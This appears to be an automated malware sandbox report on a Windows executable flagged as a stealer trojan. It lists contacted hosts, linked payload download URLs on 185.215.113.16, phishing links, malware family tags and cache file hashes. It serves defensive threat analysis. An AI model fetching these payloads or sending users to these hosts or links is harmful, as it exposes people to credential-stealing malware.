https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000003.2260473159.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238596385.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420951911.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240046403.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239268803.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239744184.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240332812.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2446401500.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237871217.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239504789.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2579823183.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238110756.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2420578040.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2237491903.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238832656.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239058013.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2264719548.0000000000BBB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_103.7.dr, chromecache_91.7.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.16.1	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572053
Start date and time:	2024-12-10 02:49:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@9/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 199.232.210.172, 172.217.21.35, 184.30.17.189, 172.217.17.46, 64.233.162.84, 2.20.41.214, 13.89.179.10, 172.217.17.74, 142.250.181.74, 172.217.19.170, 142.250.181.42, 142.250.181.106, 172.217.21.42, 172.217.19.202, 172.217.17.42, 142.250.181.138, 172.217.19.234, 23.32.238.130, 2.19.198.56, 13.74.129.1, 204.79.197.237, 13.107.21.237, 172.217.17.78, 172.217.17.35, 13.107.246.63, 20.12.23.50, 184.30.17.174
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, onedscolprdcus12.centralus.cloudapp.azure.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:50:03	API Interceptor	73x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is commonly used by companies for educational or documentation purposes, which aligns with Microsoft's services." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: unknown

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	https://sgwarch-my.sharepoint.com/:f:/p/setup1/EiozDTFdgcdOj57XSlxa0wgB_yucGXpVtBz0YeRUUS4djA?e=J1BMm6&xsdata=MDV8MDJ8bG9nYW5AaG9sdHhwLmNvbXw4NzViY2I1MjBhNzQ0NjAxMGYxODA4ZGQxODZlODVlN3w0Y2NhZDYyOTg3ZWM0MmRmOTU3YTYxMmI0OTU2YmE3NXwwfDB8NjM4NjkzNTg1MTc0NTY1ODEyfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKRmJYQjBlVTFoY0draU9uUnlkV1VzSWxZaU9pSXdMakF1TURBd01DSXNJbEFpT2lKWGFXNHpNaUlzSWtGT0lqb2lUV0ZwYkNJc0lsZFVJam95ZlE9PXwwfHx8&sdata=cmt5N3BwOXR0VGIwbDEyNWFnZmRKYVBMMzhQVUJ4bmJpNnppZGtydXJjST0%3d	Get hash	malicious	HTMLPhisher	Browse
	http://842991738.747100519.128322614.784396125.visitorchecking.ru/?ws=628584733.299643379.127950398.351850602	Get hash	malicious	Unknown	Browse
	CLDownloader.exe	Get hash	malicious	XWorm	Browse
	CLDownloader.exe	Get hash	malicious	XWorm	Browse
	https://drive.google.com/file/d/1yoYdaJg2olHzjqEKXjn6nnXKPPak7HoL/view?usp=sharing_eil&ts=675747b9	Get hash	malicious	Unknown	Browse
	https://sh4jy.mjt.lu/lnk/AV0AAFiNIwMAAAAAAAAAA8wRVoMAAYKJDQMAAAAAAC0N0gBnVlPBSD3zYwznT1GcHaCspa7g1wApgg8/1/4d5DW5X0pgnAE8y9A887Zg/aHR0cHM6Ly9yZWJyYW5kLmx5L21rbmR0ZTU	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse
	https://www.google.com.hk/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20=	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
185.215.113.16	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/well/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.32.1
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	104.21.80.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.48.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.48.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.64.1
s-part-0035.t-0009.t-msedge.net	https://sgwarch-my.sharepoint.com/:f:/p/setup1/EiozDTFdgcdOj57XSlxa0wgB_yucGXpVtBz0YeRUUS4djA?e=J1BMm6&xsdata=MDV8MDJ8bG9nYW5AaG9sdHhwLmNvbXw4NzViY2I1MjBhNzQ0NjAxMGYxODA4ZGQxODZlODVlN3w0Y2NhZDYyOTg3ZWM0MmRmOTU3YTYxMmI0OTU2YmE3NXwwfDB8NjM4NjkzNTg1MTc0NTY1ODEyfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKRmJYQjBlVTFoY0draU9uUnlkV1VzSWxZaU9pSXdMakF1TURBd01DSXNJbEFpT2lKWGFXNHpNaUlzSWtGT0lqb2lUV0ZwYkNJc0lsZFVJam95ZlE9PXwwfHx8&sdata=cmt5N3BwOXR0VGIwbDEyNWFnZmRKYVBMMzhQVUJ4bmJpNnppZGtydXJjST0%3d	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	13.107.246.63
	https://www.google.com.hk/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20=	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	https://xxx.cloudlawservices.com/fROBJ/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	Play_VM-NowCRQW.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Updates.bat	Get hash	malicious	Abobus Obfuscator	Browse	172.65.251.78
	http://842991738.747100519.128322614.784396125.visitorchecking.ru/?ws=628584733.299643379.127950398.351850602	Get hash	malicious	Unknown	Browse	172.67.134.63
	rPurchaseOrder_PO19202409.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	CLDownloader.exe	Get hash	malicious	XWorm	Browse	172.67.70.46
	CLDownloader.exe	Get hash	malicious	XWorm	Browse	104.26.2.141
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	https://sh4jy.mjt.lu/lnk/AV0AAFiNIwMAAAAAAAAAA8wRVoMAAYKJDQMAAAAAAC0N0gBnVlPBSD3zYwznT1GcHaCspa7g1wApgg8/1/4d5DW5X0pgnAE8y9A887Zg/aHR0cHM6Ly9yZWJyYW5kLmx5L21rbmR0ZTU	Get hash	malicious	Unknown	Browse	172.67.132.19
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.32.1
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	104.16.185.241
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	CLDownloader.exe	Get hash	malicious	XWorm	Browse	20.198.119.143
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	20.198.119.143
	SigWeb.exe	Get hash	malicious	Unknown	Browse	20.198.119.143
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	20.198.119.143
	http://xn--gmq700hb9ir4byxw.shop/bnBkL2ViZml0c2JwY0F7Zm1mdy9idWp0cHMkbHYvcGQvem1xanVtYnNmZC9xbmJ3MDA7dHF1dWk	Get hash	malicious	ReCaptcha Phish	Browse	20.198.119.143
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.119.143
	node-v22.12.0-x64.msi	Get hash	malicious	Unknown	Browse	20.198.119.143
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	20.198.119.143
	Marsha Rowland Signature Required.pdf	Get hash	malicious	Unknown	Browse	20.198.119.143
	Rfq_po_december_purchase_list_details_specifications_09_12_2024_0000000000.vbs	Get hash	malicious	Unknown	Browse	20.198.119.143
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.16.1
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.1

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	high, very likely benign file
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
